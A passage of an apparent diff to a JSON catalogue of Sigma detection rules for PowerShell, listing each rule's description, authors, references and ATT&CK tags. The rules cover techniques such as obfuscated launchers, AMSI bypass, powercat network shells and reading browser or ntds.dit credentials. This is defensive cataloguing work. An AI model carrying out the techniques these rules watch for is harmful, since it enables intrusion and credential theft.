"attack.t1059.001" + ] + }, + "uuid": "64e8e417-c19a-475a-8d19-98ea705394cc", + "value": "Alternate PowerShell Hosts" + }, + { + "description": "focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including\nCobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads \nthat often undergo minimal changes by attackers due to bad opsec.\n", + "meta": { + "author": "ok @securonix invrep_de, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Moderate-to-low; Despite the shorter length/lower entropy for some of these, because of high specificity, fp appears to be fairly limited in many environments." + ], + "filename": "posh_pm_bad_opsec_artifacts.yml", + "level": "critical", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", + "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/", + "https://www.mdeditor.tw/pl/pgRt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "8d31a8ce-46b5-4dd6-bdc3-680931f1db86", + "value": "Bad Opsec Powershell Code Artifacts" + }, + { + "description": "Detects keywords that could indicate clearing PowerShell history", + "meta": { + "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_pm_clear_powershell_history.yml", + "level": "medium", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ] + }, + "uuid": "f99276ad-d122-4989-a09a-d00904a5f9d2", + "value": "Clear PowerShell History" + }, + { + "description": "A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_decompress_commands.yml", + "level": "informational", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/8", + "https://threathunterplaybook.com/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ] + }, + "uuid": "1ddc1472-8e52-4f7d-9f11-eab14fc171f5", + "value": "PowerShell Decompress Commands" + }, + { + "description": "Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/16", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_get_addbaccount.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", + "https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_addbaccount.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ] + }, + "uuid": "b140afd9-474b-4072-958e-2ebb435abd68", + "value": "Suspicious Get-ADDBAccount Usage" + }, + { + "description": "A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_get_clipboard.yml", + "level": "medium", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/16", + "https://threathunterplaybook.com/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_clipboard.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ] + }, + "uuid": "4cbd4f12-2e22-43e3-882f-bff3247ffb78", + "value": "PowerShell Get Clipboard" + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_invoke_obfuscation_clip.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "a136cde0-61ad-4a61-9b82-8dc490e60dd2", + "value": "Invoke-Obfuscation CLIP+ Launcher" + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below", + "meta": { + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "creation_date": "2019/11/08", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_invoke_obfuscation_obfuscated_iex.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_obfuscated_iex.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "2f211361-7dce-442d-b78a-c04039677378", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation" + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_invoke_obfuscation_stdin.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "9ac8b09b-45de-4a07-9da1-0de8c09304a3", + "value": "Invoke-Obfuscation STDIN+ Launcher" + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_invoke_obfuscation_var.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "6bfb8fa7-b2e7-4f6c-8d9d-824e5d06ea9e", + "value": "Invoke-Obfuscation VAR+ Launcher" + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_invoke_obfuscation_via_compress.yml", + "level": "medium", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "7034cbbb-cc55-4dc2-8dad-36c0b942e8f1", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION" + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_invoke_obfuscation_via_rundll.yml", + "level": "medium", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_rundll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "a23791fe-8846-485a-b16b-ca691e1b03d4", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER" + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_invoke_obfuscation_via_stdin.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "c72aca44-8d52-45ad-8f81-f96c4d3c755e", + "value": "Invoke-Obfuscation Via Stdin" + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_invoke_obfuscation_via_use_clip.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "ebdf49d8-b89c-46c9-8fdf-2c308406f6bd", + "value": "Invoke-Obfuscation Via Use Clip" + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/08", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_invoke_obfuscation_via_use_mhsta.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "07ad2ea8-6a55-4ac6-bf3e-91b8e59676eb", + "value": "Invoke-Obfuscation Via Use MSHTA" + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2019/10/08", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_invoke_obfuscation_via_use_rundll32.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "88a22f69-62f9-4b8a-aa00-6b0212f2f05a", + "value": "Invoke-Obfuscation Via Use Rundll32" + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_invoke_obfuscation_via_var.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "f3c89218-8c3d-4ba9-9974-f1d8e6a1b4a6", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION" + }, + { + "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", + "meta": { + "author": "frack113", + "creation_date": "2021/07/21", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_powercat.yml", + "level": "medium", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://nmap.org/ncat/", + "https://github.com/besimorhino/powercat", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_powercat.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1095" + ] + }, + "uuid": "bf7286e7-c0be-460b-a7e8-5b2e07ecc2f2", + "value": "Netcat The Powershell Version" + }, + { + "description": "Detects remote PowerShell sessions", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", + "creation_date": "2019/08/10", + "falsepositive": [ + "Legitimate use remote PowerShell sessions" + ], + "filename": "posh_pm_remote_powershell_session.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_remote_powershell_session.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.006" + ] + }, + "uuid": "96b9f619-aa91-478f-bacb-c3e50f8df575", + "value": "Remote PowerShell Session (PS Module)" + }, + { + "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/15", + "falsepositive": [ + "Administrator script" + ], + "filename": "posh_pm_susp_ad_group_reco.yml", + "level": "low", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_ad_group_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ] + }, + "uuid": "815bfc17-7fc6-4908-a55e-2f37b98cedb4", + "value": "AD Groups Or Users Enumeration Using PowerShell - PoshModule" + }, + { + "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", + "meta": { + "author": "frack113", + "creation_date": "2021/07/13", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_susp_athremotefxvgpudisablementcommand.yml", + "level": "medium", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_athremotefxvgpudisablementcommand.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "38a7625e-b2cb-485d-b83d-aff137d859f4", + "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand" + }, + { + "description": "Detects suspicious PowerShell download command", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/05", + "falsepositive": [ + "PowerShell scripts that download content from the Internet" + ], + "filename": "posh_pm_susp_download.yml", + "level": "medium", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_download.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "de41232e-12e8-49fa-86bc-c05c7e722df9", + "value": "Suspicious PowerShell Download" + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", + "meta": { + "author": "frack113", + "creation_date": "2021/12/10", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_susp_get_nettcpconnection.yml", + "level": "low", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_get_nettcpconnection.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ] + }, + "uuid": "aff815cc-e400-4bf0-a47a-5d8a2407d4e1", + "value": "Use Get-NetTCPConnection" + }, + { + "description": "Detects suspicious PowerShell invocation command parameters", + "meta": { + "author": "Florian Roth (rule)", + "creation_date": "2017/03/12", + "falsepositive": [ + "Very special / sneaky PowerShell scripts" + ], + "filename": "posh_pm_susp_invocation_generic.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_generic.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "bbb80e91-5746-4fbe-8898-122e2cafdbf4", + "value": "Suspicious PowerShell Invocations - Generic" + }, + { + "description": "Detects suspicious PowerShell invocation command parameters", + "meta": { + "author": "Florian Roth (rule), Jonhnathan Ribeiro", + "creation_date": "2017/03/05", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_susp_invocation_specific.yml", + "level": "high", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_specific.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "8ff28fdd-e2fa-4dfa-aeda-ef3d61c62090", + "value": "Suspicious PowerShell Invocations - Specific" + }, + { + "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/12", + "falsepositive": [ + "Administrator script" + ], + "filename": "posh_pm_susp_local_group_reco.yml", + "level": "low", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_local_group_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ] + }, + "uuid": "cef24b90-dddc-4ae1-a09a-8764872f69fc", + "value": "Suspicious Get Local Groups Information" + }, + { + "description": "The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain.\nYou can use it to reset the password of the local computer.\n", + "meta": { + "author": "frack113", + "creation_date": "2022/02/21", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "filename": "posh_pm_susp_reset_computermachinepassword.yml", + "level": "medium", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ] + }, + "uuid": "e3818659-5016-4811-a73c-dde4679169d2", + "value": "Suspicious Computer Machine Password by PowerShell" + }, + { + "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and\nto identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/15", + "falsepositive": [ + "Administrator script" + ], + "filename": "posh_pm_susp_smb_share_reco.yml", + "level": "low", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_smb_share_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ] + }, + "uuid": "6942bd25-5970-40ab-af49-944247103358", + "value": "Suspicious Get Information for SMB Share" + }, + { + "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", + "meta": { + "author": "frack113", + "creation_date": "2021/07/20", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_pm_susp_zip_compress.yml", + "level": "medium", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_zip_compress.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074.001" + ] + }, + "uuid": "daf7eb81-35fd-410d-9d7a-657837e602bb", + "value": "Zip A Folder With PowerShell For Staging In Temp" + }, + { + "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", + "meta": { + "author": "Ensar Şamil, @sblmsrsn, OSCD Community", + "creation_date": "2020/10/05", + "falsepositive": [ + "App-V clients" + ], + "filename": "posh_pm_syncappvpublishingserver_exe.yml", + "level": "medium", + "logsource.category": "ps_module", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "fe5ce7eb-dad8-467c-84a9-31ec23bd644a", + "value": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction" + }, + { + "description": "Detecting use WinAPI Functions in PowerShell", + "meta": { + "author": "Nikita Nazarov, oscd.community, Tim Shelton", + "creation_date": "2020/10/06", + "falsepositive": [ + "Carbon PowerShell Module (https://github.com/webmd-health-services/Carbon)" + ], + "filename": "posh_ps_accessing_win_api.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_accessing_win_api.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.t1106" + ] + }, + "uuid": "03d83090-8cba-44a0-b02f-0b756a050306", + "value": "Accessing WinAPI in PowerShell" + }, + { + "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/30", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_access_to_browser_login_data.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.003" + ] + }, + "uuid": "fc028194-969d-4122-8abe-0470d5b8f12f", + "value": "Access to Browser Login Data" + }, + { + "description": "Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace.\nThis will bypass the default DNS server and uses a specified server for answering the query.\n", + "meta": { + "author": "Borna Talebi", + "creation_date": "2021/09/14", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_add_dnsclient_rule.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/NathanMcNulty/status/1569497348841287681", + "https://docs.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_dnsclient_rule.yml" + ], + "tags": [ + "attack.impact", + "attack.t1565" + ] + }, + "uuid": "4368354e-1797-463c-bc39-a309effbe8d7", + "value": "Powershell Add Name Resolution Policy Table Rule" + }, + { + "description": "Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/07/16", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_adrecon_execution.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1", + "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "bf72941a-cba0-41ea-b18c-9aca3925690d", + "value": "PowerShell ADRecon Execution" + }, + { + "description": "Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/11/09", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_amsi_bypass_pattern_nov22.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/", + "https://twitter.com/cyb3rops/status/1588574518057979905?s=20&t=A7hh93ONM7ni1Rj1jO5OaA", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_bypass_pattern_nov22.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.execution" + ] + }, + "uuid": "e0d6c087-2d1c-47fd-8799-3904103c5a98", + "value": "AMSI Bypass Pattern Assembly GetType" + }, + { + "description": "Detects Silence EmpireDNSAgent as described in the Group-IP report", + "meta": { + "author": "Alina Stepchenkova, Group-IB, oscd.community", + "creation_date": "2019/11/01", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_apt_silence_eda.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_apt_silence_eda.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.command_and_control", + "attack.t1071.004", + "attack.t1572", + "attack.impact", + "attack.t1529", + "attack.g0091", + "attack.s0363" + ] + }, + "uuid": "3ceb2083-a27f-449a-be33-14ec1b7cc973", + "value": "Silence.EDA Detection" + }, + { + "description": "Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.", + "meta": { + "author": "frack113", + "creation_date": "2022/03/17", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_as_rep_roasting.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md#atomic-test-11---get-aduser-enumeration-using-useraccountcontrol-flags-as-rep-roasting", + "https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_as_rep_roasting.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ] + }, + "uuid": "96c982fe-3d08-4df4-bed2-eb14e02f21c8", + "value": "Get-ADUser Enumeration Using UserAccountControl 